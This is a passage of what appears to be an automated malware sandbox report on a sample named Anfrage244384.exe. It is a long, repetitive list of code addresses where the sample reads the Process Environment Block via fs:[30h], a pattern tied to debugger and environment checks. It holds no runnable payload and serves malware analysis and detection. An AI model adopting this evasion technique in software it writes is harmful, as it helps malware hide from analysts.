      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1368C mov eax, dword ptr fs:[00000030h]4_2_34F1368C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1368C mov eax, dword ptr fs:[00000030h]4_2_34F1368C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1368C mov eax, dword ptr fs:[00000030h]4_2_34F1368C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1368C mov eax, dword ptr fs:[00000030h]4_2_34F1368C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC9660 mov eax, dword ptr fs:[00000030h]4_2_34EC9660
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC9660 mov eax, dword ptr fs:[00000030h]4_2_34EC9660
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F2D660 mov eax, dword ptr fs:[00000030h]4_2_34F2D660
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F65636 mov eax, dword ptr fs:[00000030h]4_2_34F65636
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F626 mov eax, dword ptr fs:[00000030h]4_2_34E8F626
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC1607 mov eax, dword ptr fs:[00000030h]4_2_34EC1607
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECF603 mov eax, dword ptr fs:[00000030h]4_2_34ECF603
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93616 mov eax, dword ptr fs:[00000030h]4_2_34E93616
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93616 mov eax, dword ptr fs:[00000030h]4_2_34E93616
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9D7E0 mov ecx, dword ptr fs:[00000030h]4_2_34E9D7E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E957C0 mov eax, dword ptr fs:[00000030h]4_2_34E957C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E957C0 mov eax, dword ptr fs:[00000030h]4_2_34E957C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E957C0 mov eax, dword ptr fs:[00000030h]4_2_34E957C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F637B6 mov eax, dword ptr fs:[00000030h]4_2_34F637B6
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4D7B0 mov eax, dword ptr fs:[00000030h]4_2_34F4D7B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4D7B0 mov eax, dword ptr fs:[00000030h]4_2_34F4D7B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F7BA mov eax, dword ptr fs:[00000030h]4_2_34E8F7BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F197A9 mov eax, dword ptr fs:[00000030h]4_2_34F197A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBD7B0 mov eax, dword ptr fs:[00000030h]4_2_34EBD7B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1F7AF mov eax, dword ptr fs:[00000030h]4_2_34F1F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1F7AF mov eax, dword ptr fs:[00000030h]4_2_34F1F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1F7AF mov eax, dword ptr fs:[00000030h]4_2_34F1F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1F7AF mov eax, dword ptr fs:[00000030h]4_2_34F1F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1F7AF mov eax, dword ptr fs:[00000030h]4_2_34F1F7AF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F78A mov eax, dword ptr fs:[00000030h]4_2_34F4F78A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B765 mov eax, dword ptr fs:[00000030h]4_2_34E8B765
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B765 mov eax, dword ptr fs:[00000030h]4_2_34E8B765
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B765 mov eax, dword ptr fs:[00000030h]4_2_34E8B765
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B765 mov eax, dword ptr fs:[00000030h]4_2_34E8B765
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA3740 mov eax, dword ptr fs:[00000030h]4_2_34EA3740
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA3740 mov eax, dword ptr fs:[00000030h]4_2_34EA3740
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA3740 mov eax, dword ptr fs:[00000030h]4_2_34EA3740
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3375F mov eax, dword ptr fs:[00000030h]4_2_34F3375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3375F mov eax, dword ptr fs:[00000030h]4_2_34F3375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3375F mov eax, dword ptr fs:[00000030h]4_2_34F3375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3375F mov eax, dword ptr fs:[00000030h]4_2_34F3375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3375F mov eax, dword ptr fs:[00000030h]4_2_34F3375F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F63749 mov eax, dword ptr fs:[00000030h]4_2_34F63749
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E93720 mov eax, dword ptr fs:[00000030h]4_2_34E93720
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6B73C mov eax, dword ptr fs:[00000030h]4_2_34F6B73C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6B73C mov eax, dword ptr fs:[00000030h]4_2_34F6B73C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6B73C mov eax, dword ptr fs:[00000030h]4_2_34F6B73C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6B73C mov eax, dword ptr fs:[00000030h]4_2_34F6B73C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF720 mov eax, dword ptr fs:[00000030h]4_2_34EAF720
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF720 mov eax, dword ptr fs:[00000030h]4_2_34EAF720
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF720 mov eax, dword ptr fs:[00000030h]4_2_34EAF720
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9973A mov eax, dword ptr fs:[00000030h]4_2_34E9973A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9973A mov eax, dword ptr fs:[00000030h]4_2_34E9973A
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89730 mov eax, dword ptr fs:[00000030h]4_2_34E89730
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89730 mov eax, dword ptr fs:[00000030h]4_2_34E89730
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC5734 mov eax, dword ptr fs:[00000030h]4_2_34EC5734
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F72E mov eax, dword ptr fs:[00000030h]4_2_34F4F72E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5972B mov eax, dword ptr fs:[00000030h]4_2_34F5972B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E97703 mov eax, dword ptr fs:[00000030h]4_2_34E97703
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E95702 mov eax, dword ptr fs:[00000030h]4_2_34E95702
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E95702 mov eax, dword ptr fs:[00000030h]4_2_34E95702
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECF71F mov eax, dword ptr fs:[00000030h]4_2_34ECF71F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECF71F mov eax, dword ptr fs:[00000030h]4_2_34ECF71F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB50E4 mov eax, dword ptr fs:[00000030h]4_2_34EB50E4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB50E4 mov ecx, dword ptr fs:[00000030h]4_2_34EB50E4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov ecx, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov ecx, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov ecx, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov ecx, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA70C0 mov eax, dword ptr fs:[00000030h]4_2_34EA70C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F650D9 mov eax, dword ptr fs:[00000030h]4_2_34F650D9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB90DB mov eax, dword ptr fs:[00000030h]4_2_34EB90DB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F0D0C0 mov eax, dword ptr fs:[00000030h]4_2_34F0D0C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F0D0C0 mov eax, dword ptr fs:[00000030h]4_2_34F0D0C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8D08D mov eax, dword ptr fs:[00000030h]4_2_34E8D08D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC909C mov eax, dword ptr fs:[00000030h]4_2_34EC909C
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1D080 mov eax, dword ptr fs:[00000030h]4_2_34F1D080
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1D080 mov eax, dword ptr fs:[00000030h]4_2_34F1D080
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBD090 mov eax, dword ptr fs:[00000030h]4_2_34EBD090
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBD090 mov eax, dword ptr fs:[00000030h]4_2_34EBD090
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E95096 mov eax, dword ptr fs:[00000030h]4_2_34E95096
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F0D070 mov ecx, dword ptr fs:[00000030h]4_2_34F0D070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F65060 mov eax, dword ptr fs:[00000030h]4_2_34F65060
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov ecx, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EA1070 mov eax, dword ptr fs:[00000030h]4_2_34EA1070
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1106E mov eax, dword ptr fs:[00000030h]4_2_34F1106E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3705E mov ebx, dword ptr fs:[00000030h]4_2_34F3705E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3705E mov eax, dword ptr fs:[00000030h]4_2_34F3705E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBB052 mov eax, dword ptr fs:[00000030h]4_2_34EBB052
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5903E mov eax, dword ptr fs:[00000030h]4_2_34F5903E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5903E mov eax, dword ptr fs:[00000030h]4_2_34F5903E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5903E mov eax, dword ptr fs:[00000030h]4_2_34F5903E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F5903E mov eax, dword ptr fs:[00000030h]4_2_34F5903E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB51EF mov eax, dword ptr fs:[00000030h]4_2_34EB51EF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E951ED mov eax, dword ptr fs:[00000030h]4_2_34E951ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F371F9 mov esi, dword ptr fs:[00000030h]4_2_34F371F9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECD1D0 mov eax, dword ptr fs:[00000030h]4_2_34ECD1D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECD1D0 mov ecx, dword ptr fs:[00000030h]4_2_34ECD1D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F651CB mov eax, dword ptr fs:[00000030h]4_2_34F651CB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F411A4 mov eax, dword ptr fs:[00000030h]4_2_34F411A4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F411A4 mov eax, dword ptr fs:[00000030h]4_2_34F411A4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F411A4 mov eax, dword ptr fs:[00000030h]4_2_34F411A4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F411A4 mov eax, dword ptr fs:[00000030h]4_2_34F411A4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAB1B0 mov eax, dword ptr fs:[00000030h]4_2_34EAB1B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F45180 mov eax, dword ptr fs:[00000030h]4_2_34F45180
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F45180 mov eax, dword ptr fs:[00000030h]4_2_34F45180
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EE7190 mov eax, dword ptr fs:[00000030h]4_2_34EE7190
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F29179 mov eax, dword ptr fs:[00000030h]4_2_34F29179
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8F172 mov eax, dword ptr fs:[00000030h]4_2_34E8F172
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89148 mov eax, dword ptr fs:[00000030h]4_2_34E89148
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89148 mov eax, dword ptr fs:[00000030h]4_2_34E89148
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89148 mov eax, dword ptr fs:[00000030h]4_2_34E89148
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E89148 mov eax, dword ptr fs:[00000030h]4_2_34E89148
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F65152 mov eax, dword ptr fs:[00000030h]4_2_34F65152
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F23140 mov eax, dword ptr fs:[00000030h]4_2_34F23140
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F23140 mov eax, dword ptr fs:[00000030h]4_2_34F23140
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F23140 mov eax, dword ptr fs:[00000030h]4_2_34F23140
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E97152 mov eax, dword ptr fs:[00000030h]4_2_34E97152
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E91131 mov eax, dword ptr fs:[00000030h]4_2_34E91131
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E91131 mov eax, dword ptr fs:[00000030h]4_2_34E91131
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B136 mov eax, dword ptr fs:[00000030h]4_2_34E8B136
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B136 mov eax, dword ptr fs:[00000030h]4_2_34E8B136
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B136 mov eax, dword ptr fs:[00000030h]4_2_34E8B136
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B136 mov eax, dword ptr fs:[00000030h]4_2_34E8B136
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B2F0 mov eax, dword ptr fs:[00000030h]4_2_34F3B2F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B2F0 mov eax, dword ptr fs:[00000030h]4_2_34F3B2F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F2F8 mov eax, dword ptr fs:[00000030h]4_2_34F4F2F8
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F652E2 mov eax, dword ptr fs:[00000030h]4_2_34F652E2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E892FF mov eax, dword ptr fs:[00000030h]4_2_34E892FF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F412ED mov eax, dword ptr fs:[00000030h]4_2_34F412ED
